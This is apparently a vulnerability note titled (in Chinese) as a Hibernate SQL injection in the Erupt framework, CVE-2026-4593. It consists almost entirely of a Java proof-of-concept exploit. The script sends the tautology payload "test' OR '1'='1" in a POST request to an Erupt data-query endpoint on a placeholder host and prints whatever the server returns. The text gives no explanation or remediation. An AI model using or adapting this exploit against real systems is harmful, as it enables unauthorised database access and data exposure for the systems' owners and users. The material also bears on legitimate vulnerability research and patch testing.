CVE-2026-4593: Erupt框架Hibernate SQL注入漏洞

// PoC Concept for CVE-2026-4593 // Targeting the EruptDataQuery endpoint import java.io.*; import java.net.*; public class Exploit { public static void main(String[] args) { try { String target = "http://target.com/erupt-api/data/query"; // Payload attempting to bypass simple Hibernate checks String maliciousPayload = "test' OR '1'='1"; URL url = new URL(target); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); String params = "data=" + URLEncoder.encode(maliciousPayload, "UTF-8"); OutputStream os = conn.getOutputStream(); os.write(params.getBytes()); os.flush(); BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = br.readLine()) != null) { System.out.println(line); } } catch (Exception e) { e.printStackTrace(); } } }